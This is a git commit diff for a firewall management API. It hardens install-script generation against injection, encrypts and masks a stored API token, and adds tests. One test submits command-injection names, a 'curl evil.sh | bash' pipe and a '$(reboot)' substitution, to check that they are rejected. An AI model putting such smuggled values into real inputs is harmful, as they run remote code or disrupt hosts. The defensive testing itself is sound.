fix(api): fail-safe прод-старт, транзакции и санитизация install-скриптов
- прод-режим отказывается стартовать без AUTH_REQUIRED и реальных секретов (opt-out через EVOFW_ALLOW_UNSAFE) - CORS: whitelist через CORS_ORIGINS вместо origin:true; CSP для раздаваемого SPA - транзакции для setAgentPolicySets, reorderPolicyRules, replaceResolvedForRule, replaceIpListEntries - install-скрипты: Zod-валидация имени ссылки, экранирование $ и контрольных символов в RouterOS-рендере - constant-time сравнение enroll-seed - опциональное шифрование токена EvoBGP в БД (EVOFW_SECRET_KEY, AES-256-GCM) и маскирование per-list api_token в ответах - graceful shutdown (SIGTERM/SIGINT) + тесты
This commit is contained in:
@@ -14,6 +14,8 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
secretKey: null,
|
||||
}
|
||||
|
||||
describe('agents CRUD critical paths', () => {
|
||||
|
||||
@@ -14,6 +14,8 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
secretKey: null,
|
||||
}
|
||||
|
||||
describe('install-links', () => {
|
||||
@@ -112,6 +114,55 @@ describe('install-links', () => {
|
||||
expect(row?.status).toBe('pending')
|
||||
})
|
||||
|
||||
it('rejects install link names with unsafe characters', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const bad = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/install-links',
|
||||
payload: { name: 'web\n; curl evil.sh | bash', platform: 'linux' },
|
||||
})
|
||||
expect(bad.statusCode).toBe(400)
|
||||
|
||||
const quotes = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/install-links',
|
||||
payload: { name: "name'$(reboot)", platform: 'linux' },
|
||||
})
|
||||
expect(quotes.statusCode).toBe(400)
|
||||
})
|
||||
|
||||
it('masks per-list api_token in list responses', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const created = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/lists',
|
||||
payload: {
|
||||
name: 'evobgp-masked',
|
||||
type: 'evobgp_community',
|
||||
config: {
|
||||
api_url: 'https://bgp.example.com',
|
||||
api_token: 'super-secret-token',
|
||||
community_id: '',
|
||||
},
|
||||
},
|
||||
})
|
||||
expect(created.statusCode).toBe(200)
|
||||
const body = created.json() as { config_json: string }
|
||||
expect(body.config_json).not.toContain('super-secret-token')
|
||||
expect(body.config_json).toContain('********')
|
||||
|
||||
const lists = await app.inject({ method: 'GET', url: '/api/v1/lists' })
|
||||
const items = (lists.json() as { items: { config_json: string }[] }).items
|
||||
expect(
|
||||
items.some((l) => l.config_json.includes('super-secret-token')),
|
||||
).toBe(false)
|
||||
expect(items.some((l) => l.config_json.includes('********'))).toBe(true)
|
||||
})
|
||||
|
||||
it('mikrotik install link serves RSC and fetch/import one-liner', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
@@ -105,8 +105,18 @@ function loadMikrotikInstallRsc(): string {
|
||||
return readFileSync(join(scriptsDir, 'mikrotik-install.rsc'), 'utf-8')
|
||||
}
|
||||
|
||||
/** Strip control characters that have no business inside generated scripts. */
|
||||
function stripControlChars(s: string): string {
|
||||
// eslint-disable-next-line no-control-regex
|
||||
return s.replace(/[\x00-\x1f\x7f]/g, '')
|
||||
}
|
||||
|
||||
function escapeRosString(s: string): string {
|
||||
return s.replace(/\\/g, '\\\\').replace(/"/g, '\\"')
|
||||
// RouterOS interpolates $var and substitutes $(cmd) inside double quotes.
|
||||
return stripControlChars(s)
|
||||
.replace(/\\/g, '\\\\')
|
||||
.replace(/"/g, '\\"')
|
||||
.replace(/\$/g, '\\$')
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -119,8 +129,8 @@ export function renderInstallScript(opts: {
|
||||
platform: string
|
||||
installLinkId: string
|
||||
}): string {
|
||||
const cp = opts.cpUrl.replace(/\/$/, '')
|
||||
const escape = (s: string) => s.replace(/'/g, `'\\''`)
|
||||
const cp = stripControlChars(opts.cpUrl.replace(/\/$/, ''))
|
||||
const escape = (s: string) => stripControlChars(s).replace(/'/g, `'\\''`)
|
||||
const header = [
|
||||
'#!/usr/bin/env bash',
|
||||
'# EvoFirewall short install link — env pre-set',
|
||||
|
||||
@@ -14,6 +14,8 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
secretKey: null,
|
||||
}
|
||||
|
||||
async function enrollApprovedLinux(
|
||||
|
||||
@@ -12,6 +12,7 @@ import {
|
||||
} from '@evofw/shared'
|
||||
import { resolveHostnameToCidrs } from '../policy/resolve-hostname.js'
|
||||
import { uniqCidrs } from '../uniq.js'
|
||||
import { maskListConfig } from '../secret-cipher.js'
|
||||
|
||||
export function getListConfig(list: {
|
||||
configJson: string
|
||||
@@ -324,7 +325,7 @@ export function mapListDetail(db: Db, listId: string) {
|
||||
id: l.id,
|
||||
name: l.name,
|
||||
type: l.type,
|
||||
config_json: l.configJson,
|
||||
config_json: maskListConfig(l.configJson),
|
||||
content_hash: l.contentHash,
|
||||
refreshed_at: l.refreshedAt,
|
||||
last_error: l.lastError,
|
||||
|
||||
@@ -8,6 +8,7 @@ import {
|
||||
rebuildManualListEntries,
|
||||
} from './entries.js'
|
||||
import { uniqCidrs } from '../uniq.js'
|
||||
import { decryptSecret } from '../secret-cipher.js'
|
||||
|
||||
function hashCidrs(cidrs: string[]): string {
|
||||
return `sha256:${createHash('sha256').update(cidrs.join('\n')).digest('hex')}`
|
||||
@@ -139,10 +140,12 @@ export async function refreshIpList(db: Db, listId: string): Promise<void> {
|
||||
repos.replaceIpListEntries(db, listId, cidrs)
|
||||
} else if (list.type === 'evobgp_community') {
|
||||
const apiUrl =
|
||||
String(config.api_url ?? '') || repos.getSetting(db, 'evobgp_api_url')
|
||||
String(config.api_url ?? '') ||
|
||||
repos.getSetting(db, 'evobgp_api_url') ||
|
||||
''
|
||||
const token =
|
||||
String(config.api_token ?? '') ||
|
||||
repos.getSetting(db, 'evobgp_api_token')
|
||||
decryptSecret(String(config.api_token ?? '') || null) ??
|
||||
decryptSecret(repos.getSetting(db, 'evobgp_api_token'))
|
||||
const communityId = String(config.community_id ?? '')
|
||||
if (!apiUrl || !token || !communityId) {
|
||||
throw new Error('evobgp_api_url, token and community_id required')
|
||||
|
||||
@@ -14,6 +14,8 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
secretKey: null,
|
||||
}
|
||||
|
||||
async function createAgent(
|
||||
|
||||
@@ -14,6 +14,8 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
secretKey: null,
|
||||
}
|
||||
|
||||
async function enrollApprovedLinux(
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
import { describe, it, expect, afterEach } from 'vitest'
|
||||
import {
|
||||
encryptSecret,
|
||||
decryptSecret,
|
||||
isEncryptedSecret,
|
||||
sealListConfig,
|
||||
maskListConfig,
|
||||
} from './secret-cipher.js'
|
||||
|
||||
const ORIGINAL_KEY = process.env.EVOFW_SECRET_KEY
|
||||
|
||||
afterEach(() => {
|
||||
if (ORIGINAL_KEY === undefined) delete process.env.EVOFW_SECRET_KEY
|
||||
else process.env.EVOFW_SECRET_KEY = ORIGINAL_KEY
|
||||
})
|
||||
|
||||
describe('secret-cipher', () => {
|
||||
it('passes values through when no key is configured', () => {
|
||||
delete process.env.EVOFW_SECRET_KEY
|
||||
expect(encryptSecret('plain')).toBe('plain')
|
||||
expect(decryptSecret('plain')).toBe('plain')
|
||||
expect(isEncryptedSecret('plain')).toBe(false)
|
||||
})
|
||||
|
||||
it('encrypts and decrypts when EVOFW_SECRET_KEY is set', () => {
|
||||
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
|
||||
const enc = encryptSecret('super-secret-token')
|
||||
expect(enc).not.toContain('super-secret-token')
|
||||
expect(enc.startsWith('enc:v1:')).toBe(true)
|
||||
expect(decryptSecret(enc)).toBe('super-secret-token')
|
||||
// already-encrypted values are not double-encrypted
|
||||
expect(encryptSecret(enc)).toBe(enc)
|
||||
})
|
||||
|
||||
it('returns null for encrypted values when the key is missing or wrong', () => {
|
||||
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
|
||||
const enc = encryptSecret('super-secret-token')
|
||||
delete process.env.EVOFW_SECRET_KEY
|
||||
expect(decryptSecret(enc)).toBeNull()
|
||||
process.env.EVOFW_SECRET_KEY = 'other-key-other-key-other-key!'
|
||||
expect(decryptSecret(enc)).toBeNull()
|
||||
})
|
||||
|
||||
it('seals and masks list config api_token', () => {
|
||||
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
|
||||
const sealed = sealListConfig({
|
||||
api_url: 'https://bgp.example.com',
|
||||
api_token: 'super-secret-token',
|
||||
community_id: 'abc',
|
||||
})
|
||||
expect(sealed).not.toContain('super-secret-token')
|
||||
const parsed = JSON.parse(sealed) as { api_token: string }
|
||||
expect(decryptSecret(parsed.api_token)).toBe('super-secret-token')
|
||||
|
||||
const masked = maskListConfig(sealed)
|
||||
expect(masked).toContain('********')
|
||||
expect(masked).not.toContain('enc:v1:')
|
||||
|
||||
// configs without tokens pass through untouched
|
||||
expect(maskListConfig('{"api_url":"https://x"}')).toBe(
|
||||
'{"api_url":"https://x"}',
|
||||
)
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,86 @@
|
||||
import {
|
||||
createCipheriv,
|
||||
createDecipheriv,
|
||||
randomBytes,
|
||||
scryptSync,
|
||||
} from 'node:crypto'
|
||||
|
||||
/**
|
||||
* Optional at-rest encryption for secrets stored in the DB (EvoBGP API
|
||||
* token). Active only when EVOFW_SECRET_KEY is set; without it values are
|
||||
* stored as before (plaintext) so existing deployments keep working.
|
||||
*
|
||||
* Format: enc:v1:<saltB64>:<ivB64>:<tagB64>:<dataB64>, AES-256-GCM with a
|
||||
* scrypt-derived per-value key.
|
||||
*/
|
||||
|
||||
const PREFIX = 'enc:v1:'
|
||||
|
||||
function deriveKey(secret: string, salt: Buffer): Buffer {
|
||||
return scryptSync(secret, salt, 32)
|
||||
}
|
||||
|
||||
export function isEncryptedSecret(value: string): boolean {
|
||||
return value.startsWith(PREFIX)
|
||||
}
|
||||
|
||||
export function encryptSecret(value: string): string {
|
||||
const secret = process.env.EVOFW_SECRET_KEY?.trim()
|
||||
if (!secret || !value || isEncryptedSecret(value)) return value
|
||||
const salt = randomBytes(16)
|
||||
const iv = randomBytes(12)
|
||||
const cipher = createCipheriv('aes-256-gcm', deriveKey(secret, salt), iv)
|
||||
const data = Buffer.concat([cipher.update(value, 'utf8'), cipher.final()])
|
||||
const tag = cipher.getAuthTag()
|
||||
const payload = [salt, iv, tag, data]
|
||||
.map((b) => b.toString('base64'))
|
||||
.join(':')
|
||||
return `${PREFIX}${payload}`
|
||||
}
|
||||
|
||||
/**
|
||||
* Decrypt an encrypted secret; returns plaintext secrets untouched. Returns
|
||||
* null for encrypted values that cannot be decrypted (key missing/rotated)
|
||||
* so callers can treat the secret as unset instead of sending garbage.
|
||||
*/
|
||||
export function decryptSecret(value: string | null | undefined): string | null {
|
||||
if (!value) return null
|
||||
if (!isEncryptedSecret(value)) return value
|
||||
const secret = process.env.EVOFW_SECRET_KEY?.trim()
|
||||
if (!secret) return null
|
||||
const parts = value.split(':')
|
||||
if (parts.length !== 6) return null
|
||||
try {
|
||||
const salt = Buffer.from(parts[2]!, 'base64')
|
||||
const iv = Buffer.from(parts[3]!, 'base64')
|
||||
const tag = Buffer.from(parts[4]!, 'base64')
|
||||
const data = Buffer.from(parts[5]!, 'base64')
|
||||
const decipher = createDecipheriv('aes-256-gcm', deriveKey(secret, salt), iv)
|
||||
decipher.setAuthTag(tag)
|
||||
return Buffer.concat([decipher.update(data), decipher.final()]).toString('utf8')
|
||||
} catch {
|
||||
return null
|
||||
}
|
||||
}
|
||||
|
||||
/** Encrypt secrets inside a list config before persisting it. */
|
||||
export function sealListConfig(config: Record<string, unknown>): string {
|
||||
if (typeof config.api_token === 'string' && config.api_token) {
|
||||
config = { ...config, api_token: encryptSecret(config.api_token) }
|
||||
}
|
||||
return JSON.stringify(config)
|
||||
}
|
||||
|
||||
/** Mask secrets inside a list config before returning it to clients. */
|
||||
export function maskListConfig(configJson: string): string {
|
||||
if (!configJson.includes('api_token')) return configJson
|
||||
try {
|
||||
const config = JSON.parse(configJson) as Record<string, unknown>
|
||||
if (typeof config.api_token === 'string' && config.api_token) {
|
||||
config.api_token = '********'
|
||||
}
|
||||
return JSON.stringify(config)
|
||||
} catch {
|
||||
return configJson
|
||||
}
|
||||
}
|
||||
@@ -15,6 +15,8 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
secretKey: null,
|
||||
}
|
||||
|
||||
describe('settings + bumpAgentsForList', () => {
|
||||
|
||||
Reference in New Issue
Block a user